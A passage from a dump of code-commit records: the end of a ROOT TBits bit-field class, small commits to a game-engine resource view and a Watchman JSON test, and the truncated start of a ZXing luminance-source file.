((fAllBits[startByte] & (1<<i)) != 0) return 8*startByte+i;\n      }\n      startByte++;\n   }\n   for(i=startByte; i<fNbytes; i++) {\n      if (fAllBits[i] != 0) return 8*i + fbits[fAllBits[i]];\n   }\n   return fNbits;\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::Paint(Option_t *)\n{\n   \/\/ Once implemented, it will draw the bit field as an histogram.\n   \/\/ use the TVirtualPainter as the usual trick\n\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::Print(Option_t *) const\n{\n   \/\/ Print the list of active bits\n\n   Int_t count = 0;\n   for(UInt_t i=0; i<fNbytes; i++) {\n      UChar_t val = fAllBits[i];\n      for (UInt_t j=0; j<8; j++) {\n         if (val & 1) printf(\" bit:%4d = 1\\n\",count);\n         count++;\n         val = val >> 1;\n      }\n   }\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::ResetAllBits(Bool_t)\n{\n   \/\/ Reset all bits to 0 (false).\n\n   if (fAllBits) memset(fAllBits,0,fNbytes);\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::SetBitNumber(UInt_t bitnumber, Bool_t value)\n{\n   \/\/ Set bit number 'bitnumber' to be value\n\n   if (bitnumber >= fNbits) {\n      UInt_t new_size = (bitnumber\/8) + 1;\n      if (new_size > fNbytes) {\n         UChar_t *old_location = fAllBits;\n         fAllBits = new UChar_t[new_size];\n         if (old_location) {\n            memcpy(fAllBits,old_location,fNbytes);\n            delete [] old_location;\n         }\n         memset(fAllBits+fNbytes ,0, new_size-fNbytes);\n         fNbytes = new_size;\n      }\n      fNbits = bitnumber+1;\n   }\n   UInt_t  loc = bitnumber\/8;\n   UChar_t bit = bitnumber%8;\n   if (value)\n      fAllBits[loc] |= (1<<bit);\n   else\n      fAllBits[loc] &= (0xFF ^ (1<<bit));\n}\n\n\/\/______________________________________________________________________________\nBool_t TBits::TestBitNumber(UInt_t bitnumber) const\n{\n   \/\/ Return the current value of the bit\n\n   if (bitnumber >= fNbits) return kFALSE;\n   UInt_t  loc = bitnumber\/8;\n   UChar_t value = fAllBits[loc];\n   UChar_t bit = bitnumber%8;\n   Bool_t  result = (value & (1<<bit)) != 0;\n   return result;\n   \/\/ short: return 0 != (fAllBits[bitnumber\/8] & (1<< (bitnumber%8)));\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"ResourceView.hpp\"\n\n#include <Engine\/Geometry\/Model.hpp>\n#include <Engine\/Texture\/TextureAsset.hpp>\n#include <Engine\/Audio\/SoundBuffer.hpp>\n#include <Engine\/Script\/ScriptFile.hpp>\n#include <Engine\/Util\/FileSystem.hpp>\n#include <Editor\/Util\/EditorSettings.hpp>\n#include <Engine\/Hymn.hpp>\n#include <DefaultAlbedo.png.hpp>\n#include <Engine\/MainWindow.hpp>\n#include <imgui.h>\n#include <limits>\n#include \"..\/ImGui\/Splitter.hpp\"\n#include \"..\/Resources.hpp\"\n#include <Engine\/Manager\/Managers.hpp>\n#include <Engine\/Manager\/ResourceManager.hpp>\n#include <cstdio>\n#include <Utility\/Log.hpp>\n\nusing namespace GUI;\nusing namespace std;\n\nResourceView::ResourceView() {\n    savePromptWindow.SetTitle(\"Save before you switch scene?\");\n    savePromptWindow.ResetDecision();\n}\n\nvoid ResourceView::Show() {\n    ImVec2 size(MainWindow::GetInstance()->GetSize().x, MainWindow::GetInstance()->GetSize().y);\n    \n    \/\/ Splitter.\n    ImGui::VerticalSplitter(ImVec2(sceneWidth, size.y - resourceHeight), size.x - sceneWidth - editorWidth, splitterSize, resourceHeight, resourceResize, 20, size.y - 20);\n    if (resourceResize)\n        resourceHeight = size.y - resourceHeight;\n    \n    ImGui::SetNextWindowPos(ImVec2(sceneWidth, size.y - resourceHeight));\n    ImGui::SetNextWindowSize(ImVec2(size.x - sceneWidth - editorWidth, resourceHeight));\n    \n    ImGui::Begin(\"Resources\", nullptr, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_ShowBorders);\n    \n    \/\/ Scenes.\n    if (ImGui::TreeNode(\"Scenes\")) {\n        if (ImGui::Button(\"Add scene\"))\n            Resources().scenes.push_back(\"Scene #\" + std::to_string(Resources().scenes.size()));\n        \n        for (std::size_t i = 0; i < Resources().scenes.size(); ++i) {\n            if (ImGui::Selectable(Resources().scenes[i].c_str())) {\n                \/\/ Sets to dont save when opening first scene.\n                if (sceneIndex == -1) {\n                    changeScene = true;\n                    sceneIndex = i;\n                    savePromptWindow.SetVisible(false);\n                    savePromptWindow.SetDecision(1);\n                } else {\n                    \/\/ Does so that the prompt window wont show if you select active scene.\n                    if (Resources().scenes[i] != Resources().scenes[Resources().activeScene]) {\n                        changeScene = true;\n                        sceneIndex = i;\n                    }\n                }\n            }\n            \n            if (ImGui::BeginPopupContextItem(Resources().scenes[i].c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    Resources().scenes.erase(Resources().scenes.begin() + i);\n                    ImGui::EndPopup();\n                    \n                    if (Resources().activeScene >= i) {\n                        if (Resources().activeScene > 0)\n                            Resources().activeScene = Resources().activeScene - 1;\n                        \n                        sceneEditor.SetScene(Resources().activeScene);\n                    }\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        ImGui::TreePop();\n        if (changeScene) {\n\n            if (Hymn().GetPath() != \"\") {\n\n                if (!HasMadeChanges()) {\n\n                    SwitchScene(sceneIndex);\n\n                }\n                else {\n\n                    savePromptWindow.SetVisible(true);\n                    savePromptWindow.ResetDecision();\n                    savePromptWindow.Show();\n\n                    switch (savePromptWindow.GetDecision())\n                    {\n                    case 0:\n                        sceneEditor.Save();\n                        SwitchScene(sceneIndex);\n                        break;\n\n                    case 1:\n                        SwitchScene(sceneIndex);\n                        break;\n\n                    case 2:\n                        changeScene = false;\n                        savePromptWindow.ResetDecision();\n                        savePromptWindow.SetVisible(false);\n                        break;\n\n                    default:\n                        break;\n\n                    }\n                }\n            }\n        }\n    }\n    \n    \/\/ Models.\n    bool modelPressed = false;\n    if (ImGui::TreeNode(\"Models\")) {\n        if (ImGui::Button(\"Add model\")) {\n            Geometry::Model* model = new Geometry::Model();\n            model->name = \"Model #\" + std::to_string(Resources().modelNumber++);\n            Resources().models.push_back(model);\n        }\n        \n        for (auto it = Resources().models.begin(); it != Resources().models.end(); ++it) {\n            Geometry::Model* model = *it;\n            if (ImGui::Selectable(model->name.c_str())) {\n                modelPressed = true;\n                modelEditor.SetModel(model);\n            }\n            \n            if (ImGui::BeginPopupContextItem(model->name.c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    if (modelEditor.GetModel() == model)\n                        modelEditor.SetVisible(false);\n                    \n                    delete model;\n                    Resources().models.erase(it);\n                    ImGui::EndPopup();\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        ImGui::TreePop();\n    }\n    \n    \/\/ Textures.\n    bool texturePressed = false;\n    if (ImGui::TreeNode(\"Textures\")) {\n        if (ImGui::Button(\"Add texture\")) {\n            TextureAsset* texture = new TextureAsset();\n            texture->name = \"Texture #\" + std::to_string(Resources().textureNumber++);\n            Resources().textures.push_back(texture);\n        }\n        \n        for (auto it = Resources().textures.begin(); it != Resources().textures.end(); ++it) {\n            TextureAsset* texture = *it;\n            if (ImGui::Selectable(texture->name.c_str())) {\n                texturePressed = true;\n                textureEditor.SetTexture(texture);\n            }\n            \n            if (ImGui::BeginPopupContextItem(texture->name.c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    if (Managers().resourceManager->GetTextureAssetInstanceCount(texture) > 1) {\n                        Log() << \"This texture is in use. Remove all references to the texture first.\\n\";\n                    } else {\n                        if (textureEditor.GetTexture() == texture)\n                            textureEditor.SetVisible(false);\n                        \n                        \/\/ Remove files.\n                        remove((Hymn().GetPath() + FileSystem::DELIMITER + \"Textures\" + FileSystem::DELIMITER + texture->name + \".png\").c_str());\n                        remove((Hymn().GetPath() + FileSystem::DELIMITER + \"Textures\" + FileSystem::DELIMITER + texture->name + \".json\").c_str());\n                        \n                        Managers().resourceManager->FreeTextureAsset(texture);\n                        Resources().textures.erase(it);\n                    }\n                    ImGui::EndPopup();\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        \n        ImGui::TreePop();\n    }\n    \n    \/\/ Scripts.\n    bool scriptPressed = false;\n    if (ImGui::TreeNode(\"Scripts\")) {\n        if (ImGui::Button(\"Add script\")) {\n            ScriptFile* scriptFile = new ScriptFile();\n            scriptFile->name = \"Script #\" + std::to_string(Hymn().scriptNumber++);\n            Hymn().scripts.push_back(scriptFile);\n        }\n        \n        for (auto it = Hymn().scripts.begin(); it != Hymn().scripts.end(); ++it) {\n            ScriptFile* script = *it;\n            std::string name = script->name;\n            \n            if (ImGui::Selectable(name.c_str())) {\n                scriptPressed = true;\n                scriptEditor.SetScript(script);\n            }\n            \n            if (ImGui::BeginPopupContextItem(name.c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    if (scriptEditor.GetScript() == script)\n                        scriptEditor.SetVisible(false);\n                    \n                    delete script;\n                    Hymn().scripts.erase(it);\n                    ImGui::EndPopup();\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        \n        ImGui::TreePop();\n    }\n    \n    \/\/ Sounds.\n    bool soundPressed = false;\n    if (ImGui::TreeNode(\"Sounds\")) {\n        if (ImGui::Button(\"Add sound\")) {\n            Audio::SoundBuffer* sound = new Audio::SoundBuffer();\n            sound->name = \"Sound #\" + std::to_string(Resources().soundNumber++);\n            Resources().sounds.push_back(sound);\n        }\n        \n        for (auto it = Resources().sounds.begin(); it != Resources().sounds.end(); ++it) {\n            Audio::SoundBuffer* sound = *it;\n            if (ImGui::Selectable(sound->name.c_str())) {\n                soundPressed = true;\n                soundEditor.SetSound(sound);\n            }\n            \n            if (ImGui::BeginPopupContextItem(sound->name.c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    if (soundEditor.GetSound() == sound)\n                        soundEditor.SetVisible(false);\n                    \n                    delete sound;\n                    Resources().sounds.erase(it);\n                    ImGui::EndPopup();\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        \n        ImGui::TreePop();\n    }\n    \n    if (sceneEditor.entityPressed || scriptPressed || texturePressed || modelPressed || soundPressed) {\n        sceneEditor.entityEditor.SetVisible(sceneEditor.entityPressed);\n        scriptEditor.SetVisible(scriptPressed);\n        textureEditor.SetVisible(texturePressed);\n        modelEditor.SetVisible(modelPressed);\n        soundEditor.SetVisible(soundPressed);\n    }\n    \n    if (sceneEditor.IsVisible()) {\n        ImGui::HorizontalSplitter(ImVec2(sceneWidth, 20), size.y - 20, splitterSize, sceneWidth, sceneResize, 20, size.x - editorWidth - 20);\n        ImGui::SetNextWindowPos(ImVec2(0, 20));\n        ImGui::SetNextWindowSize(ImVec2(sceneWidth, size.y - 20));\n        sceneEditor.Show();\n    }\n    \n    if (sceneEditor.entityEditor.IsVisible() || scriptEditor.IsVisible() || textureEditor.IsVisible() || modelEditor.IsVisible() || soundEditor.IsVisible()) {\n        editorWidth = size.x - editorWidth;\n        ImGui::HorizontalSplitter(ImVec2(editorWidth, 20), size.y - 20, splitterSize, editorWidth, editorResize, sceneWidth + 20, size.x - 20);\n        editorWidth = size.x - editorWidth;\n        \n        ImGui::SetNextWindowPos(ImVec2(size.x - editorWidth, 20));\n        ImGui::SetNextWindowSize(ImVec2(editorWidth, size.y - 20));\n    }\n    \n    if (sceneEditor.entityEditor.IsVisible())\n        sceneEditor.entityEditor.Show();\n    if (scriptEditor.IsVisible())\n        scriptEditor.Show();\n    if (textureEditor.IsVisible())\n        textureEditor.Show();\n    if (modelEditor.IsVisible())\n        modelEditor.Show();\n    if (soundEditor.IsVisible())\n        soundEditor.Show();\n    \n    ImGui::End();\n}\n\nbool ResourceView::HasMadeChanges() const{\n\n    std::string* sceneFilename = new std::string();\n    Json::Value sceneJson = sceneEditor.GetSaveFileJson(sceneFilename);\n\n    \/\/ Load Json document from file.\n    Json::Value reference;\n    std::ifstream file(*sceneFilename);\n\n    if (!file.good())\n        return true;\n\n    file >> reference;\n    file.close();\n\n    std::string hymnJsonString = sceneJson.toStyledString();\n    std::string referenceString = reference.toStyledString();\n\n    int response = referenceString.compare(hymnJsonString);\n    if (response != 0)\n        return true;\n\n    return false;\n\n}\n\nbool ResourceView::IsVisible() const {\n    return visible;\n}\n\nvoid ResourceView::SetVisible(bool visible) {\n    this->visible = visible;\n}\n\nvoid ResourceView::HideEditors() {\n    sceneEditor.SetVisible(false);\n    sceneEditor.entityEditor.SetVisible(false);\n    scriptEditor.SetVisible(false);\n    modelEditor.SetVisible(false);\n    textureEditor.SetVisible(false);\n    soundEditor.SetVisible(false);\n}\n\nvoid ResourceView::SaveScene() const {\n    sceneEditor.Save();\n}\n\nJson::Value ResourceView::GetSceneJson(std::string* filename) const {\n    return sceneEditor.GetSaveFileJson(filename);\n}\n\nvoid ResourceView::SwitchScene(int index) {\n\n    sceneEditor.SetVisible(true);\n    sceneEditor.SetScene(index);\n    Resources().activeScene = index;\n    sceneEditor.entityEditor.SetVisible(false);\n    Hymn().world.Clear();\n    Hymn().world.Load(Hymn().GetPath() + FileSystem::DELIMITER + \"Scenes\" + FileSystem::DELIMITER + Resources().scenes[index] + \".json\");\n    changeScene = false;\n    savePromptWindow.SetVisible(false);\n    savePromptWindow.ResetDecision();\n\n}\n\n#undef max\nvoid ResourceView::ResetScene() {\n    sceneEditor.SetScene(std::numeric_limits<std::size_t>::max());\n    sceneEditor.SetVisible(false);\n}\n\nSceneEditor& ResourceView::GetScene() {\n    return sceneEditor;\n}\n<commit_msg>Added comment.<commit_after>#include \"ResourceView.hpp\"\n\n#include <Engine\/Geometry\/Model.hpp>\n#include <Engine\/Texture\/TextureAsset.hpp>\n#include <Engine\/Audio\/SoundBuffer.hpp>\n#include <Engine\/Script\/ScriptFile.hpp>\n#include <Engine\/Util\/FileSystem.hpp>\n#include <Editor\/Util\/EditorSettings.hpp>\n#include <Engine\/Hymn.hpp>\n#include <DefaultAlbedo.png.hpp>\n#include <Engine\/MainWindow.hpp>\n#include <imgui.h>\n#include <limits>\n#include \"..\/ImGui\/Splitter.hpp\"\n#include \"..\/Resources.hpp\"\n#include <Engine\/Manager\/Managers.hpp>\n#include <Engine\/Manager\/ResourceManager.hpp>\n#include <cstdio>\n#include <Utility\/Log.hpp>\n\nusing namespace GUI;\nusing namespace std;\n\nResourceView::ResourceView() {\n    savePromptWindow.SetTitle(\"Save before you switch scene?\");\n    savePromptWindow.ResetDecision();\n}\n\nvoid ResourceView::Show() {\n    ImVec2 size(MainWindow::GetInstance()->GetSize().x, MainWindow::GetInstance()->GetSize().y);\n    \n    \/\/ Splitter.\n    ImGui::VerticalSplitter(ImVec2(sceneWidth, size.y - resourceHeight), size.x - sceneWidth - editorWidth, splitterSize, resourceHeight, resourceResize, 20, size.y - 20);\n    if (resourceResize)\n        resourceHeight = size.y - resourceHeight;\n    \n    ImGui::SetNextWindowPos(ImVec2(sceneWidth, size.y - resourceHeight));\n    ImGui::SetNextWindowSize(ImVec2(size.x - sceneWidth - editorWidth, resourceHeight));\n    \n    ImGui::Begin(\"Resources\", nullptr, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_ShowBorders);\n    \n    \/\/ Scenes.\n    if (ImGui::TreeNode(\"Scenes\")) {\n        if (ImGui::Button(\"Add scene\"))\n            Resources().scenes.push_back(\"Scene #\" + std::to_string(Resources().scenes.size()));\n        \n        for (std::size_t i = 0; i < Resources().scenes.size(); ++i) {\n            if (ImGui::Selectable(Resources().scenes[i].c_str())) {\n                \/\/ Sets to dont save when opening first scene.\n                if (sceneIndex == -1) {\n                    changeScene = true;\n                    sceneIndex = i;\n                    savePromptWindow.SetVisible(false);\n                    savePromptWindow.SetDecision(1);\n                } else {\n                    \/\/ Does so that the prompt window wont show if you select active scene.\n                    if (Resources().scenes[i] != Resources().scenes[Resources().activeScene]) {\n                        changeScene = true;\n                        sceneIndex = i;\n                    }\n                }\n            }\n            \n            if (ImGui::BeginPopupContextItem(Resources().scenes[i].c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    Resources().scenes.erase(Resources().scenes.begin() + i);\n                    ImGui::EndPopup();\n                    \n                    if (Resources().activeScene >= i) {\n                        if (Resources().activeScene > 0)\n                            Resources().activeScene = Resources().activeScene - 1;\n                        \n                        sceneEditor.SetScene(Resources().activeScene);\n                    }\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        ImGui::TreePop();\n        if (changeScene) {\n\n            if (Hymn().GetPath() != \"\") {\n\n                if (!HasMadeChanges()) {\n\n                    SwitchScene(sceneIndex);\n\n                }\n                else {\n\n                    savePromptWindow.SetVisible(true);\n                    savePromptWindow.ResetDecision();\n                    savePromptWindow.Show();\n\n                    switch (savePromptWindow.GetDecision())\n                    {\n                    case 0:\n                        sceneEditor.Save();\n                        SwitchScene(sceneIndex);\n                        break;\n\n                    case 1:\n                        SwitchScene(sceneIndex);\n                        break;\n\n                    case 2:\n                        changeScene = false;\n                        savePromptWindow.ResetDecision();\n                        savePromptWindow.SetVisible(false);\n                        break;\n\n                    default:\n                        break;\n\n                    }\n                }\n            }\n        }\n    }\n    \n    \/\/ Models.\n    bool modelPressed = false;\n    if (ImGui::TreeNode(\"Models\")) {\n        if (ImGui::Button(\"Add model\")) {\n            Geometry::Model* model = new Geometry::Model();\n            model->name = \"Model #\" + std::to_string(Resources().modelNumber++);\n            Resources().models.push_back(model);\n        }\n        \n        for (auto it = Resources().models.begin(); it != Resources().models.end(); ++it) {\n            Geometry::Model* model = *it;\n            if (ImGui::Selectable(model->name.c_str())) {\n                modelPressed = true;\n                modelEditor.SetModel(model);\n            }\n            \n            if (ImGui::BeginPopupContextItem(model->name.c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    if (modelEditor.GetModel() == model)\n                        modelEditor.SetVisible(false);\n                    \n                    delete model;\n                    Resources().models.erase(it);\n                    ImGui::EndPopup();\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        ImGui::TreePop();\n    }\n    \n    \/\/ Textures.\n    bool texturePressed = false;\n    if (ImGui::TreeNode(\"Textures\")) {\n        if (ImGui::Button(\"Add texture\")) {\n            TextureAsset* texture = new TextureAsset();\n            texture->name = \"Texture #\" + std::to_string(Resources().textureNumber++);\n            Resources().textures.push_back(texture);\n        }\n        \n        for (auto it = Resources().textures.begin(); it != Resources().textures.end(); ++it) {\n            TextureAsset* texture = *it;\n            if (ImGui::Selectable(texture->name.c_str())) {\n                texturePressed = true;\n                textureEditor.SetTexture(texture);\n            }\n            \n            if (ImGui::BeginPopupContextItem(texture->name.c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    if (Managers().resourceManager->GetTextureAssetInstanceCount(texture) > 1) {\n                        Log() << \"This texture is in use. Remove all references to the texture first.\\n\";\n                    } else {\n                        if (textureEditor.GetTexture() == texture)\n                            textureEditor.SetVisible(false);\n                        \n                        \/\/ Remove files.\n                        remove((Hymn().GetPath() + FileSystem::DELIMITER + \"Textures\" + FileSystem::DELIMITER + texture->name + \".png\").c_str());\n                        \n                        \/\/ Remove meta file\n                        remove((Hymn().GetPath() + FileSystem::DELIMITER + \"Textures\" + FileSystem::DELIMITER + texture->name + \".json\").c_str());\n                        \n                        Managers().resourceManager->FreeTextureAsset(texture);\n                        Resources().textures.erase(it);\n                    }\n                    ImGui::EndPopup();\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        \n        ImGui::TreePop();\n    }\n    \n    \/\/ Scripts.\n    bool scriptPressed = false;\n    if (ImGui::TreeNode(\"Scripts\")) {\n        if (ImGui::Button(\"Add script\")) {\n            ScriptFile* scriptFile = new ScriptFile();\n            scriptFile->name = \"Script #\" + std::to_string(Hymn().scriptNumber++);\n            Hymn().scripts.push_back(scriptFile);\n        }\n        \n        for (auto it = Hymn().scripts.begin(); it != Hymn().scripts.end(); ++it) {\n            ScriptFile* script = *it;\n            std::string name = script->name;\n            \n            if (ImGui::Selectable(name.c_str())) {\n                scriptPressed = true;\n                scriptEditor.SetScript(script);\n            }\n            \n            if (ImGui::BeginPopupContextItem(name.c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    if (scriptEditor.GetScript() == script)\n                        scriptEditor.SetVisible(false);\n                    \n                    delete script;\n                    Hymn().scripts.erase(it);\n                    ImGui::EndPopup();\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        \n        ImGui::TreePop();\n    }\n    \n    \/\/ Sounds.\n    bool soundPressed = false;\n    if (ImGui::TreeNode(\"Sounds\")) {\n        if (ImGui::Button(\"Add sound\")) {\n            Audio::SoundBuffer* sound = new Audio::SoundBuffer();\n            sound->name = \"Sound #\" + std::to_string(Resources().soundNumber++);\n            Resources().sounds.push_back(sound);\n        }\n        \n        for (auto it = Resources().sounds.begin(); it != Resources().sounds.end(); ++it) {\n            Audio::SoundBuffer* sound = *it;\n            if (ImGui::Selectable(sound->name.c_str())) {\n                soundPressed = true;\n                soundEditor.SetSound(sound);\n            }\n            \n            if (ImGui::BeginPopupContextItem(sound->name.c_str())) {\n                if (ImGui::Selectable(\"Delete\")) {\n                    if (soundEditor.GetSound() == sound)\n                        soundEditor.SetVisible(false);\n                    \n                    delete sound;\n                    Resources().sounds.erase(it);\n                    ImGui::EndPopup();\n                    break;\n                }\n                ImGui::EndPopup();\n            }\n        }\n        \n        ImGui::TreePop();\n    }\n    \n    if (sceneEditor.entityPressed || scriptPressed || texturePressed || modelPressed || soundPressed) {\n        sceneEditor.entityEditor.SetVisible(sceneEditor.entityPressed);\n        scriptEditor.SetVisible(scriptPressed);\n        textureEditor.SetVisible(texturePressed);\n        modelEditor.SetVisible(modelPressed);\n        soundEditor.SetVisible(soundPressed);\n    }\n    \n    if (sceneEditor.IsVisible()) {\n        ImGui::HorizontalSplitter(ImVec2(sceneWidth, 20), size.y - 20, splitterSize, sceneWidth, sceneResize, 20, size.x - editorWidth - 20);\n        ImGui::SetNextWindowPos(ImVec2(0, 20));\n        ImGui::SetNextWindowSize(ImVec2(sceneWidth, size.y - 20));\n        sceneEditor.Show();\n    }\n    \n    if (sceneEditor.entityEditor.IsVisible() || scriptEditor.IsVisible() || textureEditor.IsVisible() || modelEditor.IsVisible() || soundEditor.IsVisible()) {\n        editorWidth = size.x - editorWidth;\n        ImGui::HorizontalSplitter(ImVec2(editorWidth, 20), size.y - 20, splitterSize, editorWidth, editorResize, sceneWidth + 20, size.x - 20);\n        editorWidth = size.x - editorWidth;\n        \n        ImGui::SetNextWindowPos(ImVec2(size.x - editorWidth, 20));\n        ImGui::SetNextWindowSize(ImVec2(editorWidth, size.y - 20));\n    }\n    \n    if (sceneEditor.entityEditor.IsVisible())\n        sceneEditor.entityEditor.Show();\n    if (scriptEditor.IsVisible())\n        scriptEditor.Show();\n    if (textureEditor.IsVisible())\n        textureEditor.Show();\n    if (modelEditor.IsVisible())\n        modelEditor.Show();\n    if (soundEditor.IsVisible())\n        soundEditor.Show();\n    \n    ImGui::End();\n}\n\nbool ResourceView::HasMadeChanges() const{\n\n    std::string* sceneFilename = new std::string();\n    Json::Value sceneJson = sceneEditor.GetSaveFileJson(sceneFilename);\n\n    \/\/ Load Json document from file.\n    Json::Value reference;\n    std::ifstream file(*sceneFilename);\n\n    if (!file.good())\n        return true;\n\n    file >> reference;\n    file.close();\n\n    std::string hymnJsonString = sceneJson.toStyledString();\n    std::string referenceString = reference.toStyledString();\n\n    int response = referenceString.compare(hymnJsonString);\n    if (response != 0)\n        return true;\n\n    return false;\n\n}\n\nbool ResourceView::IsVisible() const {\n    return visible;\n}\n\nvoid ResourceView::SetVisible(bool visible) {\n    this->visible = visible;\n}\n\nvoid ResourceView::HideEditors() {\n    sceneEditor.SetVisible(false);\n    sceneEditor.entityEditor.SetVisible(false);\n    scriptEditor.SetVisible(false);\n    modelEditor.SetVisible(false);\n    textureEditor.SetVisible(false);\n    soundEditor.SetVisible(false);\n}\n\nvoid ResourceView::SaveScene() const {\n    sceneEditor.Save();\n}\n\nJson::Value ResourceView::GetSceneJson(std::string* filename) const {\n    return sceneEditor.GetSaveFileJson(filename);\n}\n\nvoid ResourceView::SwitchScene(int index) {\n\n    sceneEditor.SetVisible(true);\n    sceneEditor.SetScene(index);\n    Resources().activeScene = index;\n    sceneEditor.entityEditor.SetVisible(false);\n    Hymn().world.Clear();\n    Hymn().world.Load(Hymn().GetPath() + FileSystem::DELIMITER + \"Scenes\" + FileSystem::DELIMITER + Resources().scenes[index] + \".json\");\n    changeScene = false;\n    savePromptWindow.SetVisible(false);\n    savePromptWindow.ResetDecision();\n\n}\n\n#undef max\nvoid ResourceView::ResetScene() {\n    sceneEditor.SetScene(std::numeric_limits<std::size_t>::max());\n    sceneEditor.SetVisible(false);\n}\n\nSceneEditor& ResourceView::GetScene() {\n    return sceneEditor;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#include <gtest\/gtest.h>\n#include \"watchman\/thirdparty\/jansson\/jansson_private.h\"\n\nusing namespace ::testing;\n\nnamespace {\n\nstd::string json_dtostr(double value) {\n  char buf[30];\n  int length = jsonp_dtostr(buf, std::size(buf), value);\n  if (length >= 0) {\n    return std::string{buf, buf + length};\n  } else {\n    throw std::domain_error(\n        fmt::format(\"error converting value to buffer, length = {}\", length));\n  }\n}\n\nTEST(JsonTest, dtostr) {\n  EXPECT_EQ(\"0.0\", json_dtostr(0));\n  EXPECT_EQ(\n      \"0.33333333333333331\", json_dtostr(0.3333333333333333333333333333333333));\n  EXPECT_EQ(\n      \"0.66666666666666663\", json_dtostr(0.6666666666666666666666666666666666));\n  EXPECT_EQ(\n      \"3.3333333333333333e+33\",\n      json_dtostr(3333333333333333333333333333333333.0));\n  EXPECT_EQ(\n      \"6.6666666666666667e+33\",\n      json_dtostr(6666666666666666666666666666666666.0));\n  EXPECT_EQ(\"1.0\", json_dtostr(1.0));\n  EXPECT_EQ(\"1e+20\", json_dtostr(100000000000000000000.0));\n}\n\nTEST(JsonTest, double_round_trip) {\n  double values[] = {\n      0.3333333333333333333333333333333333,\n      3333333333333333333333333333333333.0,\n      1.0,\n      100000000000000000000.0,\n  };\n  for (auto d : values) {\n    SCOPED_TRACE(fmt::format(\"value = {}\", d));\n    auto encoded = json_dumps(json_real(d), JSON_ENCODE_ANY | JSON_COMPACT);\n    json_error_t err{};\n    auto value = json_loads(encoded.c_str(), JSON_DECODE_ANY, &err);\n\n    EXPECT_EQ(JSON_REAL, value.value().type());\n    EXPECT_EQ(d, json_real_value(value.value())) << \" encoded = \" << encoded;\n  }\n}\n\n} \/\/ namespace\n<commit_msg>Remove dead includes in watchman\/test<commit_after>\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#include <gtest\/gtest.h>\n#include \"watchman\/thirdparty\/jansson\/jansson_private.h\"\n\nnamespace {\n\nstd::string json_dtostr(double value) {\n  char buf[30];\n  int length = jsonp_dtostr(buf, std::size(buf), value);\n  if (length >= 0) {\n    return std::string{buf, buf + length};\n  } else {\n    throw std::domain_error(\n        fmt::format(\"error converting value to buffer, length = {}\", length));\n  }\n}\n\nTEST(JsonTest, dtostr) {\n  EXPECT_EQ(\"0.0\", json_dtostr(0));\n  EXPECT_EQ(\n      \"0.33333333333333331\", json_dtostr(0.3333333333333333333333333333333333));\n  EXPECT_EQ(\n      \"0.66666666666666663\", json_dtostr(0.6666666666666666666666666666666666));\n  EXPECT_EQ(\n      \"3.3333333333333333e+33\",\n      json_dtostr(3333333333333333333333333333333333.0));\n  EXPECT_EQ(\n      \"6.6666666666666667e+33\",\n      json_dtostr(6666666666666666666666666666666666.0));\n  EXPECT_EQ(\"1.0\", json_dtostr(1.0));\n  EXPECT_EQ(\"1e+20\", json_dtostr(100000000000000000000.0));\n}\n\nTEST(JsonTest, double_round_trip) {\n  double values[] = {\n      0.3333333333333333333333333333333333,\n      3333333333333333333333333333333333.0,\n      1.0,\n      100000000000000000000.0,\n  };\n  for (auto d : values) {\n    SCOPED_TRACE(fmt::format(\"value = {}\", d));\n    auto encoded = json_dumps(json_real(d), JSON_ENCODE_ANY | JSON_COMPACT);\n    json_error_t err{};\n    auto value = json_loads(encoded.c_str(), JSON_DECODE_ANY, &err);\n\n    EXPECT_EQ(JSON_REAL, value.value().type());\n    EXPECT_EQ(d, json_real_value(value.value())) << \" encoded = \" << encoded;\n  }\n}\n\n} \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  GreyscaleLuminanceSource.cpp\n *  zxing\n *\n *  Copyright 2010 ZXing authors All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <zxing\/common\/GreyscaleLuminanceSource.h>\n#include <zxing\/common\/GreyscaleRotatedLuminanceSource.h>\n#include <zxing\/common\/IllegalArgumentException.h>\n\nnamespace zxing {\n\nGreyscaleLuminanceSource::GreyscaleLuminanceSource(unsigned char* greyData, int dataWidth,\n    int dataHeight, int left, int top, int width, int height) : greyData_(greyData),\n    dataWidth_(dataWidth), dataHeight_(dataHeight), left_(left), top_(top), width_(width),\n    height_(height) {\n\n  if (left + width > 